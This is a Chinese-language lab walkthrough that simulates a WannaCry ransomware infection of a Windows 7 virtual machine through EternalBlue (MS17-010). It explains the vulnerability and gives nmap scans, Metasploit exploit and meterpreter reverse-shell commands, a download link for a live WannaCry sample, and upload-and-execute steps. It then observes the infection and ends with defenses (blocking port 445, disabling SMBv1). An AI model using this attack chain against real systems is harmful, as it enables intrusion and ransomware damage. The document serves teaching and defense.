勒索病毒模拟演练
攻击原理
永恒之蓝
永恒之蓝是一个利用Windows系统中Server Message Block (SMB) 协议的漏洞(MS17-010)进行攻击的高级漏洞利用工具。该漏洞允许攻击者在未授权的情况下远程执行代码,是由美国国家安全局(NSA)开发,并在2017年4月被黑客组织“影子经纪人”(Shadow Brokers)泄露。
永恒之蓝通过发送特制的数据包到目标计算机的445端口(SMB服务),利用SMB v1协议的缺陷,远程执行攻击者指定的代码。由于SMB服务在许多Windows系统中默认启用且常开放于网络,这使得永恒之蓝成为一个非常有效的网络渗透工具。
在漏洞被发现时,以下Windows系统版本被认为是易受攻击的:
- Windows Vista
- Windows 7
- Windows 8
- Windows 8.1
- Windows 10
- Windows Server 2008, 2008 R2
- Windows Server 2012, 2012 R2
- Windows Server 2016
不过,只要上述系统及时安装了微软发布的安全补丁(KB4013389),就可以抵御”永恒之蓝”攻击。
WannaCry
WannaCry是一种勒索软件,于2017年5月对全球范围内的计算机发起了广泛的攻击。它主要通过永恒之蓝漏洞传播,一旦感染,就会加密计算机上的文件,并要求受害者支付比特币赎金以获取解密密钥。
WannaCry勒索软件结合了网络蠕虫功能,使其能够自动在网络上搜索存在MS17-010漏洞的计算机,并利用该漏洞传播和执行。它首先尝试连接到一个特定的域名,如果连接失败,意味着系统尚未感染,随后便开始加密过程,并显示赎金要求。
环境准备
WIn7虚拟机(靶机)
关闭防火墙
进入控制面板,点击系统和安全
点击Windows防火墙
点击左侧的打开或关闭Windows防火墙
选择关闭防火墙
成功关闭后显示如下
准备各类型文件
为了测试出WannaCry的攻击效果,我们可以在Windows 7上准备一些文档资料,文档后缀类型包括txt、doc(x)、ppt(x)、tex、xls (x)、c、pdf、py、zip、rar、jp (e) g、mp3和avi等等,文件内容使用单词或者数字等进行填充,且生成不同的文件大小。为了模拟真实环境,文件路径可以在分析环境中设置一些真实用户使用的目录名称,例如在“我的文档”路径下创建文档文件,且用户文件的路径长度也是不确定的,每个文件夹可能包含一组子文件夹。
安装PCHunter
百度一下就能找到资源
kali虚拟机(攻击机)
准备病毒样本
使用kali自带的火绒浏览器访问wannacry样本的下载地址
https://github.com/limiteci/WannaCry
WannaCry的可执行文件形式无法在kali上直接运行,所以直接解压出来放在桌面即可
信息搜集
端口扫描
在攻击机上使用nmap扫描工具对靶机进行端口扫描,验证靶机是否开启了445端口
执行指令nmap -sT ip
观察结果可知,win7靶机的445端口有开启
漏洞扫描
既然确认了靶机的445端口有开启,那么该靶机就有可能存在MS17-010漏洞,如果它没有安装相应安全补丁
我们可以利用命令nmap -p- -sV --version-all --script vuln ip扫描靶机存在的漏洞
我来解释一下使用的参数和选项:
-p-:指定扫描所有65535个TCP端口。默认情况下,nmap只扫描常见的端口,此选项使其扫描全部端口。-sV:启用服务版本探测。这个选项会尝试确定每个开放端口上运行的服务的名称和版本。--version-all:这是-sV选项的一个参数,指示nmap使用所有可能的探测尝试来确定服务版本。这可以提高识别服务的准确性,但会增加扫描时间。--script vuln:指示nmap执行其脚本库(NSE:Nmap Scripting Engine)中与“vuln”相关的所有脚本。这些脚本旨在发现目标可能存在的各种已知漏洞。
成功扫出MS17-010漏洞,说明靶机具备WannaCry感染条件
漏洞利用
本次实验需要用到kali中的工具msfconsole
- Metasploit Framework 是一个渗透测试和安全漏洞研究工具,包含了大量的利用代码、辅助模块、有效载荷和监听器。它可以用来发现系统漏洞、测试网络的安全防护措施、执行后渗透活动等。
- msfconsole 是Metasploit Framework中的主要交互式接口。它提供了丰富的命令集和完整的控制环境,用于搜索、测试、执行漏洞利用和管理有效载荷。
执行msfconsole命令打开msf的交互接口
在交互窗口中执行命令use exploit/windows/smb/ms17_010_eternalblue,利用永恒之蓝MS17-010漏洞
此时提示信息中有exploit(windows/smb/ms17_010_eternalblue)的字样
此时我们需要先设置靶机IP和攻击机IP
lhost为攻击机IP,而rhost则是靶机IP
执行set payload windows/x64/meterpreter/reverse_tcp命令,使用meterpreter编写的TCP反弹连接木马,用于在渗透成功后向攻击机发起连接请求进一步控制靶机的模块
渗透及远程命令执行
在开始渗透前可以打开wireshark捕获数据包,来观察渗透过程
执行exploit开始渗透
显示WIN则说明渗透成功
使用ip.dst==172.29.65.64 && tcp.port==445筛选出向靶机445端口发送payload的数据包
我们可以观察到明显的payload特征,即连续的字符A
接下来我们开始远程命令执行,首先将攻击机上的Wannacry病毒样本传到靶机上
执行upload /home/kali/Desktop/WannaCry.EXE C:\\WannaCry.exe
在上传命令中我们顺便将后缀改为可执行文件的exe
此时我们可以打开靶机的C盘验证文件是否上传成功
再次筛选捕获到的数据包
可以发现攻击机通过靶机的49163端口使用tcp包上传了病毒样本
执行命令execute -f C:\\WannaCry.exe,让靶机远程运行勒索病毒样本
攻击机显示勒索病毒在靶机上的进程号为2832
病毒分析
病毒特征
进入靶机查看,发现桌面壁纸被更改,且跳出打款弹窗
查看之前准备的各类型文档,可以发现后缀名后都被加上了.WNCRY
每个目录下还出现了readme文档和解密程序
用记事本打开文件,可以发现文件内容也被加密
不过部分病毒没有识别出类型的文档,例如docx没有被加密
虽然该文件之前是因为粗心将docx打成了docs,但这也说明WannaCry病毒不会加密识别不出类型的文档
网络分析
在靶机命令行执行netstat查看网络连接状态,可以找到和攻击机之间的连接,以及靶机被占用的455
观察启动项
在搜索栏输入msconfig,找到对应程序并执行
点击启动栏,发现可疑的启动项
防御措施
关闭端口
将Window7的快照回退到攻击前
检查防火墙是否开启,若关闭则开启防火墙
点击左侧的高级设置,然后点击入站规则
点击操作菜单中的新建规则…
在规则类型中选择“端口”,点击“下一步”
选择TCP,并在特定本地端口中输入445,然后点击下一步。
选择“阻止连接”,点击“下一步”。
选择适用的配置文件(通常选择全部),然后点击“下一步”。
给规则命名“Block TCP 445”,点击“完成”。
此时端口445就被我们禁用了
禁用SMBv1协议
关闭445端口可能会影响网络文件和打印机共享的功能,我们也可以通过禁用SMBv1来防御WannaCry
WannaCry和其他一些恶意软件是通过利用SMBv1中的漏洞来传播
首先在桌面按下“win+R”打开“运行”窗口,输入“regedit”并点击“确定”打开注册表;
进入注册表编辑器窗口后,在左侧依次展开HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters;
在“Parameters”项右键,在弹出的菜单中选择“新建—DWORD(32位)值”,将其命名为“SMB1”即可。
验证防御效果
再次使用kali攻击机重复渗透的步骤,发现执行exploit后漏洞利用失败



